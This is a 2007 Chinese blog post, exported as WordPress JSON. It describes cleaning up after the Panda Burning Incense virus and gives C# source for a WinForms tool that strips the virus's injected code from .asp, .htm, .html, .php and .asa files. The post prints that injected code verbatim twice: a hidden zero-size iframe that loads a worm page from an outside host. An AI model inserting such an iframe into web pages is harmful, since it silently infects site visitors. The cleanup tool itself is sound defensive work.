{"id":82,"date":"2007-01-26T12:00:00","date_gmt":"2007-01-26T12:00:00","guid":{"rendered":""},"modified":"2011-04-25T08:41:28","modified_gmt":"2011-04-25T08:41:28","slug":"%e7%a0%b4%e7%86%8a%e7%8c%ab","status":"publish","type":"post","link":"https:\/\/www.inbreak.net\/archives\/82.html","title":{"rendered":"\u7834\u718a\u732b…"},"content":{"rendered":"

\u524d\u51e0\u5929\u4e2d\u4e86\u75c5\u6bd2…<\/p>\n

EXE\u5c31\u4e0d\u8bf4\u4e86,\u6211\u7684\u5927\u591aEXE\u90fd\u6709RAR\u7684\u5907\u4efd,\u7adf\u7136\u5728\u6211\u7684asp.html,htm\u7b49\u6587\u4ef6\u4e2d\u52a0\u5165\u4e86
\n<iframe src=http:\/\/www.krvkr.com\/worm.htm width=0 height=0><\/iframe><\/p>\n

NND…
\n\u67e5\u4e86\u4e00\u4e0b\u662f\u718a\u732b\u70e7\u9999…\u6587\u4ef6\u592a\u591a,\u53ea\u597d\u7528C#\u5199\u4e86\u4e2a\u4e1c\u897f\u6765\u66ff\u6362…
\n\u7ed9\u67d0\u4e9b\u53ef\u601c\u7684\u7ad9\u957f\u4eec.
\n\u53ef\u4ee5\u5728\u670d\u52a1\u5668\u4e0a\u6267\u884c.<\/p>\n

\u4ee3\u7801:<\/p>\n

code:<\/font><\/p>\n



\nusing System;
\nusing System.Drawing;
\nusing System.Collections;
\nusing System.ComponentModel;
\nusing System.Windows.Forms;
\nusing System.Data;
\nusing System.IO;<\/p>\n

namespace kill
\n{
\n \/\/\/ <summary>
\n \/\/\/ Killpanda \u7684\u6458\u8981\u8bf4\u660e\u3002
\n \/\/\/ <\/summary>
\n public class Killpanda : System.Windows.Forms.Form
\n {
\n private System.Windows.Forms.Button button1;
\n private System.Windows.Forms.Button button2;
\n private System.Windows.Forms.Label label1;
\n private System.Windows.Forms.Button button3;
\n private System.Windows.Forms.FolderBrowserDialog folderBrowser_ok;
\n private System.Windows.Forms.TextBox txt_path;
\n private System.Windows.Forms.TextBox txt_log;
\n \/\/\/ <summary>
\n \/\/\/ \u5fc5\u9700\u7684\u8bbe\u8ba1\u5668\u53d8\u91cf\u3002
\n \/\/\/ <\/summary>
\n private System.ComponentModel.Container components = null;<\/p>\n

public Killpanda()
\n {
\n \/\/
\n \/\/ Windows \u7a97\u4f53\u8bbe\u8ba1\u5668\u652f\u6301\u6240\u5fc5\u9700\u7684
\n \/\/
\n InitializeComponent();<\/p>\n

\/\/
\n \/\/ TODO: \u5728 InitializeComponent \u8c03\u7528\u540e\u6dfb\u52a0\u4efb\u4f55\u6784\u9020\u51fd\u6570\u4ee3\u7801
\n \/\/
\n }<\/p>\n

\/\/\/ <summary>
\n \/\/\/ \u6e05\u7406\u6240\u6709\u6b63\u5728\u4f7f\u7528\u7684\u8d44\u6e90\u3002
\n \/\/\/ <\/summary>
\n protected override void Dispose( bool disposing )
\n {
\n if( disposing )
\n {
\n if (components != null)
\n {
\n components.Dispose();
\n }
\n }
\n base.Dispose( disposing );
\n }<\/p>\n

#region Windows \u7a97\u4f53\u8bbe\u8ba1\u5668\u751f\u6210\u7684\u4ee3\u7801
\n \/\/\/ <summary>
\n \/\/\/ \u8bbe\u8ba1\u5668\u652f\u6301\u6240\u9700\u7684\u65b9\u6cd5 – \u4e0d\u8981\u4f7f\u7528\u4ee3\u7801\u7f16\u8f91\u5668\u4fee\u6539
\n \/\/\/ \u6b64\u65b9\u6cd5\u7684\u5185\u5bb9\u3002
\n \/\/\/ <\/summary>
\n private void InitializeComponent()
\n {
\n this.txt_log = new System.Windows.Forms.TextBox();
\n this.button1 = new System.Windows.Forms.Button();
\n this.button2 = new System.Windows.Forms.Button();
\n this.txt_path = new System.Windows.Forms.TextBox();
\n this.label1 = new System.Windows.Forms.Label();
\n this.button3 = new System.Windows.Forms.Button();
\n this.folderBrowser_ok = new System.Windows.Forms.FolderBrowserDialog();
\n this.SuspendLayout();
\n \/\/
\n \/\/ txt_log
\n \/\/
\n this.txt_log.Location = new System.Drawing.Point(40, 56);
\n this.txt_log.Multiline = true;
\n this.txt_log.Name = "txt_log";
\n this.txt_log.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
\n this.txt_log.Size = new System.Drawing.Size(368, 336);
\n this.txt_log.TabIndex = 0;
\n this.txt_log.Text = "";
\n \/\/
\n \/\/ button1
\n \/\/
\n this.button1.Location = new System.Drawing.Point(72, 416);
\n this.button1.Name = "button1";
\n this.button1.TabIndex = 1;
\n this.button1.Text = "\u67e5\u6740";
\n this.button1.Click += new System.EventHandler(this.button1_Click);
\n \/\/
\n \/\/ button2
\n \/\/
\n this.button2.Location = new System.Drawing.Point(296, 416);
\n this.button2.Name = "button2";
\n this.button2.TabIndex = 2;
\n this.button2.Text = "\u5173\u95ed";
\n this.button2.Click += new System.EventHandler(this.button2_Click);
\n \/\/
\n \/\/ txt_path
\n \/\/
\n this.txt_path.Location = new System.Drawing.Point(72, 16);
\n this.txt_path.Name = "txt_path";
\n this.txt_path.Size = new System.Drawing.Size(248, 21);
\n this.txt_path.TabIndex = 3;
\n this.txt_path.Text = "";
\n \/\/
\n \/\/ label1
\n \/\/
\n this.label1.Location = new System.Drawing.Point(16, 16);
\n this.label1.Name = "label1";
\n this.label1.Size = new System.Drawing.Size(56, 23);
\n this.label1.TabIndex = 4;
\n this.label1.Text = "\u8def\u5f84\uff1a";
\n this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleRight;
\n \/\/
\n \/\/ button3
\n \/\/
\n this.button3.Location = new System.Drawing.Point(328, 16);
\n this.button3.Name = "button3";
\n this.button3.TabIndex = 5;
\n this.button3.Text = "\u6d4f\u89c8";
\n this.button3.Click += new System.EventHandler(this.button3_Click);
\n \/\/
\n \/\/ Killpanda
\n \/\/
\n this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
\n this.ClientSize = new System.Drawing.Size(456, 453);
\n this.Controls.Add(this.button3);
\n this.Controls.Add(this.label1);
\n this.Controls.Add(this.txt_path);
\n this.Controls.Add(this.button2);
\n this.Controls.Add(this.button1);
\n this.Controls.Add(this.txt_log);
\n this.Name = "Killpanda";
\n this.Text = "\u67e5\u6740\u67d0U\u76d8\u75c5\u6bd2";
\n this.Load += new System.EventHandler(this.Killpanda_Load);
\n this.ResumeLayout(false);<\/p>\n

}
\n #endregion<\/p>\n

\/\/\/ <summary>
\n \/\/\/ \u5e94\u7528\u7a0b\u5e8f\u7684\u4e3b\u5165\u53e3\u70b9\u3002
\n \/\/\/ <\/summary>
\n [STAThread]
\n static void Main()
\n {
\n Application.Run(new Killpanda());
\n }<\/p>\n

private void button2_Click(object sender, System.EventArgs e)
\n {
\n this.Close();
\n }<\/p>\n

private void button1_Click(object sender, System.EventArgs e)
\n {
\n if (txt_path.Text.Equals(""))
\n {
\n MessageBox.Show("\u6587\u4ef6\u4e0d\u5b58\u5728");
\n return;
\n }
\n argss(txt_path.Text);<\/p>\n

\n }
\n public void argss(string thispath)
\n {
\n try
\n {
\n DirectoryInfo dir = new DirectoryInfo(thispath);
\n DirectoryInfo [] dirargs = dir.GetDirectories();
\n foreach(DirectoryInfo di in dirargs)
\n {
\n\/\/ txt_log.AppendText(di.FullName+"\\n");
\n if (di.FullName.Equals(@"H:\\System Volume Information"))
\n {
\n argss(di.FullName);
\n }
\n argss(di.FullName);
\n }
\n FileInfo [] fdirargs = dir.GetFiles();
\n foreach(FileInfo fdi in fdirargs)
\n {
\n if (fdi.Extension.ToLower().Equals(".asp") || fdi.Extension.ToLower().Equals(".htm") || fdi.Extension.ToLower().Equals(".html") || fdi.Extension.ToLower().Equals(".php") || fdi.Extension.ToLower().Equals(".asa"))
\n {
\n txt_log.AppendText(fdi.FullName+"\\n");<\/p>\n

try
\n {
\n FileStream fs;
\n StreamReader sr;<\/p>\n

\/\/\u53ea\u8bfb\u65b9\u5f0f\u6253\u5f00\u3002
\n fs=File.Open(fdi.FullName,FileMode.Open,FileAccess.Read);<\/p>\n

sr=new StreamReader(fs,System.Text.Encoding.GetEncoding("GB2312"));<\/p>\n

string str="";<\/p>\n

\/\/\u8bfb\u5230\u6700\u540e\uff0c\u7136\u540e\u53d6\u503c\u8fd4\u56de\u3002
\n str=sr.ReadToEnd();
\n fs.Close();
\n str=str.Replace("<iframe src=http:\/\/www.krvkr.com\/worm.htm width=0 height=0><\/iframe>","");
\n FileStream fss=new FileStream(fdi.FullName,FileMode.Create,FileAccess.Write);<\/p>\n

StreamWriter sw=new StreamWriter(fss,System.Text.Encoding.GetEncoding("GB2312"));
\n sw.Write(str);
\n sw.Flush();
\n sw.Close();
\n }
\n catch(Exception ex)
\n {
\n string s=ex.Message;
\n }
\n\/\/ MessageBox.Show(fdi.Name);
\n }
\n }
\n }
\n catch(Exception ex)
\n {
\n MessageBox.Show(ex.Message);
\n MessageBox.Show("\u6587\u4ef6\u4e0d\u5b58\u5728");
\n }
\n }<\/p>\n

private void button3_Click(object sender, System.EventArgs e)
\n {
\n folderBrowser_ok.ShowDialog();
\n txt_path.Text=folderBrowser_ok.SelectedPath;
\n }
\n }
\n}<\/p>\n

<\/i><\/p>\n


<\/blockquote>\n

\u4e0b\u8f7d\u5730\u5740:
\nhttp:\/\/inbreak.net\/blog\/toolss\/killpanda.rar
\n\u8bf7\u5148\u5b89\u88c5framework1.0<\/p>\n","protected":false},"excerpt":{"rendered":"

\u524d\u51e0\u5929\u4e2d\u4e86\u75c5\u6bd2… EXE\u5c31\u4e0d\u8bf4\u4e86,\u6211\u7684\u5927\u591aEXE\u90fd\u6709RAR\u7684\u5907\u4efd,\u7adf …<\/p>\n

\u7ee7\u7eed\u9605\u8bfb »<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,5],"tags":[],"views":4483,"_links":{"self":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/82"}],"collection":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/comments?post=82"}],"version-history":[{"count":1,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/82\/revisions"}],"predecessor-version":[{"id":255,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/82\/revisions\/255"}],"wp:attachment":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/media?parent=82"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/categories?post=82"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/tags?post=82"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}